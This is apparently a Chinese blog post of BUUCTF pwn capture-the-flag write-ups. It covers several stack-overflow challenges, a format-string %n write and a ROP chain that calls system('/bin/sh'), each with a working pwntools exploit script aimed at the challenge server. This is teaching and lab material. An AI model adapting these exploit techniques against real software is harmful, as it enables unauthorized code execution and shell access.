BUUCTF[PWN]

2024-05-12 02:28
文章标签 buuctf pwn

本文主要是介绍BUUCTF[PWN],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

BUUCTF[PWN]

题目:warmup_csaw_2016

  1. 地址:warmup_csaw_2016
  2. ida打开,进main函数:image-20240507204853587
  3. gets函数的栈溢出:给出了sub_40060D函数的地址image-20240507204928362
  4. 直接,溢出到sub_40060D的地址即可:
from pwn import *p = remote('node5.buuoj.cn',28462)
payload = b'a'*(64+8)+p64(0x40060d)
p.sendline(payload)
p.interactive()

题目:pwn1_sctf_2016

  1. 地址:pwn1_sctf_2016
  2. ida打开进入vuln函数:image-20240507213015640
  3. 先找后门函数:get_flagimage-20240507213041278
  4. 虽然说有fgets函数,但是限制了长度为32,但是看栈中 返回地址距离 s有 0x3c+4 ,不足以溢出到返回值:image-20240507213231797
  5. 重新来看一下vuln函数的逻辑找突破口:可以将输入的 I 替换 为 you ,相当于将一位变成了三位,再计算一下 0x3c+4=3*21+1 ,所以我们要输入21个I外加另外任意一个字符,即可再字符串替换后溢出到返回值的位置。image-20240507213936907
  6. 攻击脚本如下:image-20240507214247106
from pwn import *p = remote('node5.buuoj.cn',25670)payload = b'I'*(21)+b'a'+p64(0x8048F0D)
p.sendline(payload)
p.interactive()

题目:jarvisoj_level0

  1. 地址:jarvisoj_level0
  2. 依旧ida打开,进入到vulnerable_function函数:buf只有128,但是输入有0x200,必有溢出。image-20240507214757431
  3. 找到后门函数:callsystemimage-20240507214845844
  4. 栈中的偏移为 128+8image-20240507214927684
  5. 解题脚本:image-20240507215000428
from pwn import *p = remote('node5.buuoj.cn',27519)payload = b'I'*(128+8)+p64(0x400596)
p.sendline(payload)
p.interactive()

题目:get_started_3dsctf_2016

  1. 进main函数:程序提供了后门溢出函数gets,距离返回值只有56。image-20240510222953507

image-20240510223005248

  1. 看后门函数get_flag:对输入进行一个判断,在栈上可以看到数据的位置,在栈溢出时可以直接写道栈上。image-20240510223042459

image-20240510223104704

  1. 脚本如下:
from pwn import *p = remote('node5.buuoj.cn',27248)door=0x80489A0
return_exit=0x804E6A0payload = b'a'*(56)+p32(door)+p32(return_exit)+p32(0x308CD64F)+p32(0x195719D1)p.sendline(payload)
p.interactive()
  1. 题目中get_flag函数退出时需要提供一个 合适的返回值 (exit函数的地址),保证程序正常退出,否则get_flag函数无法正常退出,输入在使用putchar输入在 缓存区中的flag 会因为程序的异常崩溃无法输出到终端上。

image-20240510223710607

bjdctf_2020_babystack

  1. 进入main函数:简单的栈溢出,让我们输入数据的长度,当然越大越好。image-20240510231719408
  2. 再看一眼main的栈,和后门函数:image-20240510231809938

image-20240510231923575

  1. 攻击脚本:
from pwn import *p = remote('node5.buuoj.cn',27064)p.recvuntil(b"[+]Please input the length of your name:")
p.sendline(b'50')door=0x4006E6p.recvuntil(b"What's u name?")payload = b'a'*(12+12)+p64(door+1)p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

  1. 进入main函数:read函数指定了读取的大小,无法进行栈溢出,但是观察到 printf(buf),存在格式化字符串漏洞。image-20240511105854807
  2. 利用格式化字符串可以阿将 dword_804C044处的值进行修改,改为我们想要的输入的值,来达到使if条件判断通过的目的,dword_804C044的地址为 0804C044 ,使用%n修改指定地址处的值时,需要确定我们写入数据的偏移,这样使用%n才能指定到相应的地址。
  • 先使用 **AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p **来显示输入的数据的偏移:image-20240511110633456

  • 可以看到输入的字符串偏移为 10,所以输入地址0804C044后需要将栈中偏移为10的数值(0804C044)所指向的地址处的值进行修改。

  • 脚本如下,最后输入的passwd会进入atoi函数,这函数将 字符串转 化为对应的 数字image-20240511111115233

    from pwn import *p = remote('node5.buuoj.cn',27105)
    p.recvuntil(b"your name:")payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
    p.sendline(payload)p.recvuntil(b"your passwd:")payload = str(0x10101010)
    p.sendline(payload.encode())
    p.interactive()
    

    image-20240511111140609

[HarekazeCTF2019]baby_rop

  1. checksec检查后,时64位程序,ida打开进入main函数: __isoc99_scanf函数使用 %s,存在栈溢出 。image-20240511210554361
  2. 没有现成的system(“/bin/sh”),需要手动构造:存在 system函数/bin/sh 字符串,直接使用system给其传参即可,但是注意这是64位的程序, 前6个参数传递依靠寄存器。image-20240511210719114

image-20240511210730969

image-20240511210933208

  1. system函数需要一个参数,直接使用rdi进行传参,但是栈溢出的main函数只有一个ret,所以需要找到程序中的 pop rdi;ret指令的地址,直接使用 **ROPgadget --binary babyrop --only “pop|ret”**指令查找程序中可能出现的指令组合:image-20240511211205218

  2. 可以看到在 0x400683指令处存在 pop rdi ; ret组合(即先执行pop rdi 再执行ret),这使得可以继续改变rip的值,跳转到后门函数system的地址处。

  3. 脚本如下:

    from pwn import *p = remote('node5.buuoj.cn',29873)
    #p.recvuntil(b"What's your name?")
    sh_addr=0x601048
    rdi_addr=0x400683
    door=0x400490
    ret=0x400479
    payload = b'a'*(16+8)+p64(rdi_addr)+p64(sh_addr)+p64(door)	
    p.sendline(payload)
    p.interactive()
  4. 拿到shell后没有看到flag,使用 find -name flag 查找flag文件的路径,再显示:image-20240511211648974

  5. 拿到shell后没有看到flag,使用 find -name flag 查找flag文件的路径,再显示:[外链图片转存中…(img-NLt6ELLi-1715433475139)]

  6. 币了吧@~@

这篇关于BUUCTF[PWN]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/981348

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析 hard+sandbox:ptrace 系统调用概述: logger:pstack: [X] 🛰:ly3260344435[X] 🐧:3260344435[X] BiliBili:鱼影信息[X] 公众号:鱼影安全[X] CSDN:落寞的魚丶[X] 知识星球:中职-高职-CTF竞赛[X] 信息安全评估(

BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解 打开题目是这样子的。 啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。 那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。 func=system&p=ls 直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。 func=file_get_contents&p=ind

BUUCTF派大星的烦恼

解压得到一张图片没啥有用信息 根据下面题目提示,用010editor打开图片发现一段16进制字符串 派大星最近很苦恼,因为它的屁股上出现了一道疤痕!我们拍下了它屁股一张16位位图,0x22,0x44代表伤疤两种细胞,0xf0则是派大星的赘肉。还原伤疤,知道是谁打的派大星!(答案为32位的一串字符串) 注意:得到的 flag 请包上 flag{} 提交 在010editor直接

2024年“羊城杯”粤港澳大湾区网络安全大赛 PWN部分

2024年“羊城杯”粤港澳大湾区网络安全大赛 PWN部分 Author:Ns100kUpFrom:极安云科-服务中心Data:2024/08/27Copyright:本内容版权归属极安云科,未经授权不得以任何形式复制、转载、摘编和使用。 培训、环境、资料、考证公众号:Geek极安云科网络安全群:624032112网络系统管理群:223627079 网络建设与运维群:870959

【CTF Web】BUUCTF Upload-Labs-Linux Pass-04 Writeup(文件上传+PHP+.htaccess绕过)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

BUUCTF二维码1

九张撕碎二维码碎片。不会让人拼起来吧!看了大神们得博客竟然是真的,这是ctf的题吗!是考验人的耐性吧! 我勉为其难讲一下PS怎么拼图,首先要把九张碎片抠图,背景变透明,ps可以但是太麻烦,我在GIthub找到一个Python+Qt写的自动抠图的软件,使用removebg提供的api接口,可生成高清图预览并保存,输入图片链接也可在线抠图。超赞,起码比某些国产类似软件有良心,长期用收费还